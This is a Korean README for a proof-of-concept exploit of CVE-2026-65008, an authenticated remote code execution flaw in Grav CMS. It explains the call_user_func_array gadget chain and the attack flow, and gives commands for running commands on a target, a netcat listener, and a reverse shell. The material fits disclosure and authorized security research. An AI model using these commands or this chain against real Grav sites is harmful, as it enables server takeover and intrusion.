CVE-2026-65008 — Grav CMS < 2.0.7 인증된 RCE

CVE-2026-65008에 대한 개념 증명(PoC): Blueprint::dynamicData()의 제한 없는 call_user_func_array()를 통한 Grav CMS 인증된 원격 코드 실행.

admin.pages(또는 api.pages.write) 권한이 있는 사용자는 악성 form frontmatter를 심을 수 있습니다. 이후 어떤 방문자(인증되지 않은 사용자 포함)가 페이지를 로드하면 페이로드가 웹 서버 사용자 권한으로 실행됩니다.

승인된 테스트 전용. 자신이 소유했거나 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오.

크레딧

CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008

근본 원인

Blueprint::dynamicData()는 공격자가 제어하는 Class::method 콜러블과 인자를 허용 목록(allowlist) 없이 PHP call_user_func_array()에 전달합니다. Grav\Common\Utils::arrayFilterRecursive를 트램펄린으로 함께 사용하면 system() / passthru 등에 도달할 수 있습니다.

**Grav 2.0.7+**에서 패치되었습니다.

CVSS

9.8 치명적 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

요구 사항

• Python 3.10+
• requests

설치:

pip install -r requirements.txt

사용법

명령 실행

python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

리버스 셸

먼저 리스너를 시작하십시오:

nc -lvnp 4444

그런 다음:

python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

인자

흐름

1. /admin에 로그인 (login-nonce 추출)
2. 관리자 패널에서 admin_nonce 획득
3. frontmatter에 data-opts@: 가젯이 포함된 페이지 저장
4. 인증되지 않은 GET으로 트리거 → www-data 권한으로 RCE

고지 사항

이 프로젝트는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 작성자는 오용에 대해 책임을 지지 않습니다. 제3자 시스템을 테스트하기 전에 항상 서면 허가를 받으십시오. 원래 취약점은 공급업체 권고를 통해 공개되었으며, 이 저장소는 실험실 재현만을 시연합니다.

참고 자료

• https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
• https://nvd.nist.gov/vuln/detail/CVE-2026-65008
• https://www.cve.org/CVERecord?id=CVE-2026-65008

라이선스

연구 목적 사용 전용. 보증 없음.